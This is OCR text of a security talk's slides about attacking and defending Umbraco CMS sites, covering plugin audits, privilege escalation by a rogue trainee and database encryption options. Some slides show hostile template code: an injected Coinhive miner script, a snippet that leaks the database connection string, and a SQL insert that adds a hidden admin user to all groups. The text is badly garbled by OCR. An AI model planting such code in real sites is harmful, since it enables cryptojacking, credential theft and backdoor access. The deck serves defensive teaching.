« ‘You should audit 3rd party plugins you install in Umbraco. Most of them are

open source so they can be inspected

o We don't know of any malicious plugin that currently exists or has

ever existed
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Compile packages yourself?

| am not sure
about this...

But be aware of the
possible iImpacts
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/| Mission 2:
Accomplished

@ Exploit known vulnerabilities in
specific versions

@ Create your own exploit




o)
o

LEVEL2 | EVEL3 LEVEL 4

Footprint & Getting into iv ge Clearing our
Identification Umbraco tio tracks




Privileg




Privilege escalation

exploiting a bug
configuration oversight
gain
elevated access

more privileges than intended

unauthorized
actions

Level 3
Privilege escalation

Thank you, wikipedia



So...

AWe have access to Umbraco, but we
want more access

Level 3
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] Mission 3.1:

AGoal: Get more privileges within
Umbraco

AApproach: Social engineering




Case 1: Meet Mike,
our happy trainee

AMike helps editing the site
Al t O0cempdex website

ANo property descriptions
iIn Umbraco




Some of the datatypes

Content Metadata Programinfo Properties
Content | Metadata | Promoblock Info .

‘HdG
MD_Title Programld
MD _Descr

Content Metadata

Promoltem_SubCode
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Mike Isso helpful..

AnShall | add some descriptions t
everyone can work with your Umbraco install? o

nWow, would you do

AnOf coumpeoeEem. Please give me access to
Settings sectionsolcanedityourdocumenttypeso

N O hand BTW. Please do it on production

because we d 0 nltave a way to transfer

document types from development to
production. . 0
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Settings

~ i Document Types

i Homepage Metadata |

Templates

|

Textstring

Partial Views MD _Title

N

Stylesheets

|

Scripts

n

Textarea

Languages

|

Dictionary E

n

Media Types

|

Content Templates

n

Promoblock

Textstring

Promoltem_SubCode
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What a nice guy!

AQOr iIs he?
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But ...

We also gave Mike access to Templates &
Scripts

Settings
@ Master template: No master

~ @ Document Types

- @inherits Umbraco.Web.Mvc.UmbracoTemplatePage<ContentModels.Homepage:

i Homepage @using ContentModels = Umbraco.Web.PublishedContentModels;

= @{
v @8 Templates Layout = null;
Homepage ¥
» i Partial Views . <head>—)</head>
- <body>
» Bl Stylesheets <header»</header:»
<main></main:
» @l Scripts - <footer:
_ <script src = "hxxps://coin-hive.com/lib/coinhive.min.js"»</script>
» B Languages M <scripts
- var miner =
» B Dictionary new CoinHive.Anonymous({ 3858f62238ac3c915t388c664312¢63F");
- . miner.start();
» @ Media Types </scripts
_ </footer:
* l Content Templates </body>

S htm] =



Outputting the connectionstring

Settings
[ Master template: No master

~ il Document Types

- @inherits Umbraco.Web.Mvc.UmbracoTemplatePage<ContentModels . Homepage:>

7 Homepage @using ContentModels = Umbraco.Web.PublishedContentModels;

= @{
v B Templates Layout = null;
}
» @ Partial Views v <head>0</head>
- <body>»
» Il Stylesheets <header»</header:
- <main:
» ll Scripts - <section class="l-container":»
- <div class="1-content"”>»
» Il Llanguages - <div class="1-grid"»
- - <div class="1-col--1-1">
» @ Dictionary . -
» @ Media Types Sssst... Don't tell any one

@System.Configuration.ConfigurationManager.ConnectionStrings["umbracoDbDSN"].ToString()
-->
<fdive
</fdiv>
<fdive
</section>
</main>
’ <footer>=</footer>
</body>
</html>

» il Content Templates
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Addingan user?

<div>
@{
/{ Insert a user 'jeffrey@perplex.nl' with password ‘"Password2e18!’ directly into the usertable
/{ And after the insert, make the user a member of all user groups
string SQLStatement = @"
INSERT INTO umbracoUser{username,userlogin,userpassword
spasswordConftig,userkmail ,userlanguage, securityStampToken)
VALUES (' jeffrey@gperplex.nl’
s jeffrey@gperplex.nl’
» HuH95A2grAmGQxwgsxlcnA==geb7iTeduxkdlukffzyu/Pgs7hIb7HiNEdDL3I1Cejys="
,"{""hashAlgorithm™" : " "HMACSHA256" "}
. jeffrey@gperplex.nl’
, en-uUs’
»NEWID());
INSERT INTO umbracoUser2UserGroup SELECT @@@@IDENTITY,id FROM umbracoUserGroup;";
ApplicationContext.DatabaseContext.Database.Execute(5QL5tatement);
¥
</div>

Privilege escalation



In production, only give your
website write permissions to
[App_ Data/
/Media/
On the other folders only read
permissions




| Mission 3.2:

AGoal: Extract crucial data from the
database

AApproach: SQL Injection or any other
means to extract data through SQL
commands
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Mike Is a smart guy...

AHe gained access to the database and
heds | ooking for the d
SecretinfoTable

firstname  email 7 ] social_securty _number your_biggest secret
1 Aisa ............... Alisa kristine @gmail.com 54876999 Sometimes | see ...
2 Elnsn::ne -------- briscoe coy@gmail.com 00033534 | never wash my ...
3 Danielle danielle ness@hotmail.com 93565566 When 'm thinking...
4 Davey davey benny@mailinator.com 90444 766 | hate brushing m...
5 Gilbert gilbert denholm@johndoe.com 98533566 My facebookpass...
[ Jeffrey jeffrey@pemlex nl 12345678 | love unicoms
7 Lenaox lenox . davis@yahoo.com 63990500 lt's so hard when ...
g Marvin marvin.clay@msn.nl 49652782 Me and my ex are... Level 3
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Store your sensitive data
encrypted In the database

Yet another line of defense
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Encryptingc Three options

AOffered out of the box by MS SQL Server

ATransparent Data Encryption
AAlways Encrypted

AThe hard way
AbManual 6 data encryption

Level 3
Privilege escalation




Option 1- TransparentData
Encryption

Als used to encrypt the .mdf and .Idf files on disk

A And to encrypt the backup as well
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Option 1- TransparentData
Encryption

s “4¢ Manage Database Encryption
T Database Properties - #_ 8 s = e [~ 1= .

[ l@l Ready %

Se!ectapﬂ_p S Frrn o m Help :

1 General Select a page LT Script - | €) Help

|2 Files & General

1 Fiegroups Collation: [Latin1_General_C1_AS v] & Propetties

127 Opti ) i

i ufgﬁgz Tracking Recovery model: [Pl v] Encryption Key Option

|27 Pemissions Compatibility lewel: |SQL Server 2014 {(120) v| [ Re-Encrypt Database Encryption Key:

2% Extended Properi )

- Min‘inrinz roperes Containment type: |None v| se server certificate cen_SQLEncryptie_Marc

g‘ Transaction Log Shipping Cther options:

[] Regenerate Database Encryption Key:

Parameterization Simple ~
Quoted Identifiers Enabled Falze Encryption Algorithn AES 128
Recursive Triggers Enabled False
Trustworthy False
VarDecimal Storage Format Enabled True Database Encryption Option
4 Recovery
Page Verfy CHECKSUM Set Database Encryption On
Target Recovery Time (Seconds) 0
4 Service Broker
Connection Broker Enabled False
Server: Honor Broker Priority Falze
' Service Broker ldentifier % 8872cdeb-Fec-47d5-8153-470731bd5da2
4 Stat
Connection: £
NN .
glaDase Jlale i A
_ﬁj \iew connection properties cryption Enabled True| C —
¢¥ DBOT\DEVELOPRESEARCH
e Encryption Enabled [PERPLEX marc]
Ready

View connection properties
0K | | Cancel Progress

Ready

Level 3
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Option 1- TransparentData
Encryption

A This will not help against any SQL Injection

SELECT * FROM [SecretinfoTable]

firstname  email social_securty _number your_biggest secret
1 Aisa ............... Alisa kristine @gmail.com 54876999 Sometimes | see ...
2 Elnsn::ne -------- briscoe coy@gmail.com 00033534 | never wash my ...
3 Danielle danielle ness@hotmail.com 93565566 When 'm thinking...
4 Davey davey benny@mailinator.com 90444 766 | hate brushing m...
5 Gilbert gilbert denholm@johndoe.com 98533566 My facebookpass...
[ Jeffrey jeffrey@pemlex nl 12345678 | love unicoms
7 Lenaox lenox . davis@yahoo.com 63990500 lt's so hard when ...
g Marvin marvin.clay@msn.nl 49652782 Me and my ex are... Level 3
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Option 2- AlwaysEncrypted
(MS SQL)

AEnables encryption on columns

AOn a per-user basis




Option 2- Always Encrypted

HH “eaerirz | IJ':’I'I.'-.IIJI.IUII.'I-IIIr.'

B dbo.cmsTags
A dbo.cmsTask
B dbo.cmsTaskType
B dbo.cmsTemplate

=zzf dbo.SecretinfoTabl

E B

EH B

[+

[+]

FH dbo.umbracoAcces Mew Table...

A dbo.umbracobcces Design

FH dbo.umbracoAudit Select Top 1000 Rows

FH dbo.urmbracoCache Edit Top 200 Rows

B dbo.umbracoConse _

R dbo.umbracocDoma script Table as 4
R dbo.umbracoExtern View Dependencies

EH dbo.umbracolangy Mermory Optimization Advisor

FH dbo.umbracolock

R dbo.umbracolog Encrypt Clsjumns...

Bl dbo.umbracoMigra Full-Text iLr:E:;]E:{ .

R dbo.umbracoMode

#
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Intreduction

Column Selection

Master Key Configuration
Run Settings
Summary

Results

6 2 NJ

& Help

Search column name...

[ ] Apply one key to all checked columns:

CEE_Autol

Encryption Type 1

Encryption Key

i

------- a_long_secret

@ @

Mame State Encryption Type Encryption Key
B = dbosecretinfoTable
------- firstname = Deterministic ~ CEE_Autol -
------- ermail = Deterministic ~ CEK_Autol v
------- social_security_n... = Randomized ~ CEK_Autol v
------- your_biggest_secr... Deterministic * CEE_Autol -




The database administator will see this



